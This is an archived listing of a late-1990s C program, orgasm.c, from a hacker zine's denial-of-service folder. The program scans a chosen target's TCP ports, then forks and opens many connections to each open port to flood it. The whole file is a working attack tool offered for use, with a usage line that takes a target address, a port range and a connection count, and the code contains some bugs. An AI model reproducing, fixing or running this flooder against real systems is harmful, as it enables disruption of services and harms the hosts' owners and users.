home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / happle10.sit.hqx / Happle#10 / Files / Denial.sit / DoS / orgasm.c < prev    next >
C/C++ Source or Header  |  1999-01-02  |  3KB  |  253 lines

  1. /* orgasm.c. by napster/Aut0psy 
  2.  
  3.  * Werdup to Aut0psy the master debugger/fixer wh0re.
  4.  
  5.  * portscans then floods the fark out of the person... 
  6.  
  7.  */
  8.  
  9.  
  10.  
  11. #include <sys/types.h>
  12.  
  13. #include <sys/socket.h>
  14.  
  15. #include <stdio.h>
  16.  
  17. #include <unistd.h>
  18.  
  19. #include <stdlib.h>
  20.  
  21. #include <string.h>
  22.  
  23. #include <netinet/in.h>
  24.  
  25. #include <netdb.h>
  26.  
  27.  
  28.  
  29. #define MAX                      1024
  30.  
  31. #define VERSION             "1.0 pre"
  32.  
  33.  
  34.  
  35. /* Prototypes */
  36.  
  37.  
  38.  
  39. unsigned int resolve(char *host);
  40.  
  41. void pscan(unsigned int resolved_host, int portlow, int porthigh, int hitport[]);
  42.  
  43.  
  44.  
  45. void reseed(void);
  46.  
  47.  
  48.  
  49. void usage(char *progname) {
  50.  
  51.   printf("orgasm.c by napster %s...\n", VERSION);
  52.  
  53.   printf("usage: %s <address> <portlow> <porthigh> <# connex>\n",progname);
  54.  
  55.   exit(-1);
  56.  
  57. }
  58.  
  59. int a = 1;
  60.  
  61.  
  62.  
  63. main(int argc, char *argv[]) {
  64.  
  65.         
  66.  
  67.   unsigned int resolved_host;
  68.  
  69.   struct sockaddr_in sin[MAX];
  70.  
  71.   int x, y, q, sdesc[MAX];
  72.  
  73.   int portlow, porthigh, connex;
  74.  
  75.   int hitport[1024];
  76.  
  77.  
  78.  
  79.   if (argc < 5 || argc > 5) usage(argv[0]);
  80.  
  81.  
  82.  
  83.   reseed();
  84.  
  85.  
  86.  
  87.   resolved_host = resolve(argv[1]);    
  88.  
  89.   portlow  = atoi(argv[2]);
  90.  
  91.   porthigh = atoi(argv[3]);
  92.  
  93.   connex   = atoi(argv[4]);
  94.  
  95.           
  96.  
  97.   system("clear");
  98.  
  99.   printf("                         orgasm.c by napster %s\n", VERSION);
  100.  
  101.   printf("                                 [1.28.97]\n\n");
  102.  
  103.   printf("Target address: %s\n", argv[1]);
  104.  
  105.   printf("Port scanning target...\n");
  106.  
  107.   sleep(1);
  108.  
  109.   printf("Ports open:");
  110.  
  111.   pscan(resolved_host, portlow, porthigh, hitport);
  112.  
  113.   printf("\nPort info complete, flooding ports.\n");
  114.  
  115.  
  116.  
  117.   for (x=1;x<a;x++) {
  118.  
  119.     fork();
  120.  
  121.     for (q=1;q<=connex;q++) {
  122.  
  123.       /* Create Socket */
  124.  
  125.       sdesc[q] = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  126.  
  127.  
  128.  
  129.       /* Fill in Socket Endpoint */
  130.  
  131.       sin[q].sin_family = AF_INET;
  132.  
  133.       sin[q].sin_port = hitport[x];
  134.  
  135.       printf("%d hit\n", hitport[x]);
  136.  
  137.       sin[q].sin_addr.s_addr = resolved_host;
  138.  
  139.  
  140.  
  141.       /* Connect to dest host. */
  142.  
  143.       connect(sdesc[q], (struct sockaddr *)&sin[q], sizeof(sin[q]));
  144.  
  145.     }
  146.  
  147.   }
  148.  
  149. }
  150.  
  151.  
  152.  
  153. void pscan(unsigned int resolved_host, int portlow, int porthigh, int hitport[]) {
  154.  
  155.   int z, sockdesc;
  156.  
  157.   struct sockaddr_in sin;
  158.  
  159.     
  160.  
  161.   reseed();
  162.  
  163.     
  164.  
  165.   for(z=portlow;z<=porthigh;z++) {        
  166.  
  167.     /* z counts from the port low to the port high for scanning */
  168.  
  169.     fflush(stdout);
  170.  
  171.     sockdesc = socket(AF_INET, SOCK_STREAM, 0);
  172.  
  173.         
  174.  
  175.     sin.sin_family = AF_INET;
  176.  
  177.     sin.sin_port = htons(z);
  178.  
  179.     sin.sin_addr.s_addr = resolved_host;
  180.  
  181.   
  182.  
  183.     if (connect(sockdesc, (struct sockaddr *)&sin, sizeof(sin)) == 0) {
  184.  
  185.       printf(" %d", z);
  186.  
  187.       hitport[a] = z;    
  188.  
  189.       /* In total, a should represent the number of ports open */
  190.  
  191.       a++;
  192.  
  193.     }
  194.  
  195.   }
  196.  
  197. }
  198.  
  199.  
  200.  
  201. unsigned int resolve(char *host) {
  202.  
  203.   /* resolve routine written by Aut0psy. */
  204.  
  205.  
  206.  
  207.   struct hostent *he;
  208.  
  209.   struct sockaddr_in tmp;
  210.  
  211.  
  212.  
  213.   /* Lookup host. */
  214.  
  215.   he = gethostbyname(host);
  216.  
  217.  
  218.  
  219.   if (he) {
  220.  
  221.     /* Copy host into a temporary endpoint. */
  222.  
  223.     memcpy((caddr_t)&tmp.sin_addr.s_addr, he->h_addr, he->h_length);
  224.  
  225.     } 
  226.  
  227.   else {
  228.  
  229.     perror("resolving");
  230.  
  231.     exit(-1);
  232.  
  233.     }
  234.  
  235.  
  236.  
  237.   /* Return address in network byte order. */  
  238.  
  239.   return(tmp.sin_addr.s_addr);
  240.  
  241. }
  242.  
  243.  
  244.  
  245. void reseed(void) {
  246.  
  247.   /* Seed random number database based on time of day... */
  248.  
  249.   srand(time(NULL));
  250.  
  251. }
  252.  
  253.